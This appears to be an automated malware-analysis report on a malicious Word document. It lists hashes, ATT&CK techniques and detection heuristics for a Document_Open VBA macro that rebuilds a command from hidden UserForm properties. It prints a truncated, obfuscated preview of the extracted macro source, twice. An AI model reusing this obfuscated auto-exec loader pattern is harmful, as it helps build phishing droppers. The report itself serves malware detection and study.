Office (OLE) malware analysis — malicious · 7ae72be4c9f293fd

MALICIOUS

Office (OLE)

206.1 KB Created: 2019-12-19 21:05:00 Authoring application: Microsoft Office Word First seen: 2020-02-04

MD5: a5c0931c70917d7e02fd6ceda0d76e34 SHA-1: aac5a01acf51e541e11aab17f26662f06907813b SHA-256: 7ae72be4c9f293fd6b1b133a7945c7fca2f4a2923f3638c15761cb1a15268a14

242 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm with a command stager. This technique is commonly used to download and execute additional malicious payloads. The presence of CreateObject and GetObject calls further supports the execution of arbitrary code. The embedded URL was confirmed as benign and is not considered a threat.

Heuristics 7

VBA macros detected medium 5 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
GetObject call high OLE_VBA_GETOBJ

GetObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13392 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	13392 bytes
SHA-256: `38cf4d50ecacb7d0bb242c2364b2b05e7317bc4599d558f8ffd0427ddb2f8fe3`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Ruvkgjsqtr" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "Hezfrszq, 0, 0, MSForms, TextBox" Private Sub Document_open() Skycwkpci = "Cora" Dim Ywmkoflfue As String Dim Tcyqtmnmljjkd As Boolean Rmspslkbhki = ("Mario") Dim Rvnawlezxt As Boolean Dim Vizpnchfqtt As String Dim Eojbqgkucuq As Integer Ordpusxzxc = Uibmtycllr Dim Ygnkvsnitdnp As String Zadohlyp = ("Sint et modi culpa consequuntur explicabo temporibus.") Dim Jhiwokxwuiqne As Double Dim Eocsqulks As String Dim Hxklxikp As Double Kqtifqvtkmv = "Provident facere error." Dim Cwvwgdywqx As Boolean Dim Amjkhcpm As Integer Dim Xijkdqrhmfrn As Integer Bmelcqttggf = ("Ex rerum cum at.") Dim Icjfetiymm As String Ifilhlne = 673 Vyejaaecdf = Jfdzmtzp Jlulliyu = 980 Bmahzapaao Gwnnqgygmwrmx = "Stacy" Dim Ysskxfckhnefe As Double Dim Ayfemaslk As Double Dttrvvpkrlcy = ("Delectus.") Dim Dmgzlautdvsg As String Dim Xggipebjrp As String Dim Ptwwyzekio As Integer Yuykpxyodd = Ftjwsuvqhc Dim Whxtcidi As Double Jvgqttrdgmgl = ("Sherry") Dim Qhrntvewj As Boolean Dim Izfmvzepkjn As Integer Dim Abyewyuk As Boolean Cvqqozrnlicl = "Doris" Dim Qlmbwhucqp As Double Dim Wzzlddsgcrej As Integer Dim Swcizohnnll As Double Iyaebcwcrnz = ("Repellat voluptatibus libero ut et quis cumque minus.") Dim Tnizgdlfoyaip As String Jmoalojhcn = 870 Tobicdaut = Eigiuaavmel Zzslkfgld = 691 End Sub Attribute VB_Name = "Utrxlvrcwebx" Attribute VB_Base = "0{44902B8D-FE4B-40A4-A71A-5DFA625349E6}{AF1793FC-1227-4761-AB84-326CC0CA1598}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Qowdfpxoitqoe" Function Nvoyfforo() Orpfwvwxinwx = "Ducimus saepe tempore voluptatum qui delectus consequatur." Dim Opqvyigw As Integer Dim Yhadzwmloaa As Double Mxxzroyzayf = ("Est id explicabo iusto.") Dim Wzqbksxbhout As Integer Dim Aljrzeadxb As Boolean Dim Hvnyivefznu As Double Imnficftcxo = Fuutborvk Dim Jgzosnmqxcr As Integer Ypzdvexyhb = ("Ab id et quos.") Dim Kgmfutxjzw As Integer Dim Rapkxten As Boolean Dim Ulpoafepb As Integer Eigalciuim = "Rerum." Dim Vmupnbowchc As Double Dim Pgtrejuw As Integer Dim Sijmqvtuvry As Boolean Gqronigx = ("Enim.") Dim Avwpcdciqbzb As Boolean Oyainhtc = 688 Mbnuhooqn = Rtgrqsjhsc Oaohxjybxz = 107 Mxlvbkqxgs = Ruvkgjsqtr.Hezfrszq Itktfviwlihh = "Et." Dim Liqshnyhwfpfo As Boolean Dim Hdgovaaljtmzi As Double Tpgcdpryv = ("Micheal") Dim Bxedzgszefbt As Double Dim Kwgzuopqomzzm As Boolean Dim Pelycydhf As Double Gimcrwfcs = Zabdljseat Dim Pbquybgpbfoi As Integer Lvcuktoe = ("Cupiditate expedita.") Dim Wynuobtmzp As Double Dim Bcgbmcjt As Integer Dim Whxxbgjmekwg As String Nmbzmbir = "Delectus quam." Dim Tanjhlulxc As Integer Dim Wramdmlmf As Integer Dim Fnzbkgll As String Mdbsafsq = ("Sunt iure ut.") Dim Vyipkzzyv As Integer Fyxhwhkjemrx = 20 Nzudhtwumh = Krlgnpyih Kexhggve = 196 Vfoktdxt = Mxlvbkqxgs + Utrxlvrcwebx.Kfgmtxjpok + Utrxlvrcwebx.Frmtpwekuc + Utrxlvrcwebx.Yqiuhqigvwmvg Amjxievzf = "Dolorum aut." Dim Iggwwlfx As Integer Dim Ruhpunod As Boolean Uvyujvdy = ("Soluta ut quia.") Dim Mmcpphol As Double Dim Djueisbh As Boolean Dim Gvqnimhmnbhh As Boolean Pfrsznydbmxka = Quvkctrvoh Dim Cxbuwfxpdajha As String Ueqymnzw = ("A incidunt.") Dim Wcdxjclxnv As Integer Dim Sbedejqlnjipw As Integer Dim Jqlcbvizdurtx As Boolean Nxxulotijq = "Jared" Dim Ymtnbrecgbse As Double Dim Bajmpsndwl As Integer Dim Gjpicmva As Double Kgqctvelet = ("Sunt rerum perspiciatis.") Dim Nszwanhu As Boolean Vzlumxzgi = 480 Oqdwnzry = Ylgwwiflh Wckqrzjgmxl = 989 Bgksabrr = Vfoktdxt + Utrxlvrcwebx.Nddadnpnghp + Utrxlvrcwebx.Sulyqhueyptu.Factoid Kyozfgcx = "Est odit rem. ... (truncated)

SHA-256: 38cf4d50ecacb7d0bb242c2364b2b05e7317bc4599d558f8ffd0427ddb2f8fe3

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Ruvkgjsqtr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Hezfrszq, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Skycwkpci = "Cora"
Dim Ywmkoflfue As String
Dim Tcyqtmnmljjkd As Boolean
Rmspslkbhki = ("Mario")
Dim Rvnawlezxt As Boolean
Dim Vizpnchfqtt As String
Dim Eojbqgkucuq As Integer
Ordpusxzxc = Uibmtycllr
Dim Ygnkvsnitdnp As String
Zadohlyp = ("Sint et modi culpa consequuntur explicabo temporibus.")
Dim Jhiwokxwuiqne As Double
Dim Eocsqulks As String
Dim Hxklxikp As Double
Kqtifqvtkmv = "Provident facere error."
Dim Cwvwgdywqx As Boolean
Dim Amjkhcpm As Integer
Dim Xijkdqrhmfrn As Integer
Bmelcqttggf = ("Ex rerum cum at.")
Dim Icjfetiymm As String
Ifilhlne = 673
Vyejaaecdf = Jfdzmtzp
Jlulliyu = 980
Bmahzapaao
   Gwnnqgygmwrmx = "Stacy"
Dim Ysskxfckhnefe As Double
Dim Ayfemaslk As Double
Dttrvvpkrlcy = ("Delectus.")
Dim Dmgzlautdvsg As String
Dim Xggipebjrp As String
Dim Ptwwyzekio As Integer
Yuykpxyodd = Ftjwsuvqhc
Dim Whxtcidi As Double
Jvgqttrdgmgl = ("Sherry")
Dim Qhrntvewj As Boolean
Dim Izfmvzepkjn As Integer
Dim Abyewyuk As Boolean
Cvqqozrnlicl = "Doris"
Dim Qlmbwhucqp As Double
Dim Wzzlddsgcrej As Integer
Dim Swcizohnnll As Double
Iyaebcwcrnz = ("Repellat voluptatibus libero ut et quis cumque minus.")
Dim Tnizgdlfoyaip As String
Jmoalojhcn = 870
Tobicdaut = Eigiuaavmel
Zzslkfgld = 691
End Sub

Attribute VB_Name = "Utrxlvrcwebx"
Attribute VB_Base = "0{44902B8D-FE4B-40A4-A71A-5DFA625349E6}{AF1793FC-1227-4761-AB84-326CC0CA1598}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Qowdfpxoitqoe"
Function Nvoyfforo()
   Orpfwvwxinwx = "Ducimus saepe tempore voluptatum qui delectus consequatur."
Dim Opqvyigw As Integer
Dim Yhadzwmloaa As Double
Mxxzroyzayf = ("Est id explicabo iusto.")
Dim Wzqbksxbhout As Integer
Dim Aljrzeadxb As Boolean
Dim Hvnyivefznu As Double
Imnficftcxo = Fuutborvk
Dim Jgzosnmqxcr As Integer
Ypzdvexyhb = ("Ab id et quos.")
Dim Kgmfutxjzw As Integer
Dim Rapkxten As Boolean
Dim Ulpoafepb As Integer
Eigalciuim = "Rerum."
Dim Vmupnbowchc As Double
Dim Pgtrejuw As Integer
Dim Sijmqvtuvry As Boolean
Gqronigx = ("Enim.")
Dim Avwpcdciqbzb As Boolean
Oyainhtc = 688
Mbnuhooqn = Rtgrqsjhsc
Oaohxjybxz = 107
Mxlvbkqxgs = Ruvkgjsqtr.Hezfrszq
   Itktfviwlihh = "Et."
Dim Liqshnyhwfpfo As Boolean
Dim Hdgovaaljtmzi As Double
Tpgcdpryv = ("Micheal")
Dim Bxedzgszefbt As Double
Dim Kwgzuopqomzzm As Boolean
Dim Pelycydhf As Double
Gimcrwfcs = Zabdljseat
Dim Pbquybgpbfoi As Integer
Lvcuktoe = ("Cupiditate expedita.")
Dim Wynuobtmzp As Double
Dim Bcgbmcjt As Integer
Dim Whxxbgjmekwg As String
Nmbzmbir = "Delectus quam."
Dim Tanjhlulxc As Integer
Dim Wramdmlmf As Integer
Dim Fnzbkgll As String
Mdbsafsq = ("Sunt iure ut.")
Dim Vyipkzzyv As Integer
Fyxhwhkjemrx = 20
Nzudhtwumh = Krlgnpyih
Kexhggve = 196
Vfoktdxt = Mxlvbkqxgs + Utrxlvrcwebx.Kfgmtxjpok + Utrxlvrcwebx.Frmtpwekuc + Utrxlvrcwebx.Yqiuhqigvwmvg
   Amjxievzf = "Dolorum aut."
Dim Iggwwlfx As Integer
Dim Ruhpunod As Boolean
Uvyujvdy = ("Soluta ut quia.")
Dim Mmcpphol As Double
Dim Djueisbh As Boolean
Dim Gvqnimhmnbhh As Boolean
Pfrsznydbmxka = Quvkctrvoh
Dim Cxbuwfxpdajha As String
Ueqymnzw = ("A incidunt.")
Dim Wcdxjclxnv As Integer
Dim Sbedejqlnjipw As Integer
Dim Jqlcbvizdurtx As Boolean
Nxxulotijq = "Jared"
Dim Ymtnbrecgbse As Double
Dim Bajmpsndwl As Integer
Dim Gjpicmva As Double
Kgqctvelet = ("Sunt rerum perspiciatis.")
Dim Nszwanhu As Boolean
Vzlumxzgi = 480
Oqdwnzry = Ylgwwiflh
Wckqrzjgmxl = 989
Bgksabrr = Vfoktdxt + Utrxlvrcwebx.Nddadnpnghp + Utrxlvrcwebx.Sulyqhueyptu.Factoid
   Kyozfgcx = "Est odit rem.
... (truncated)

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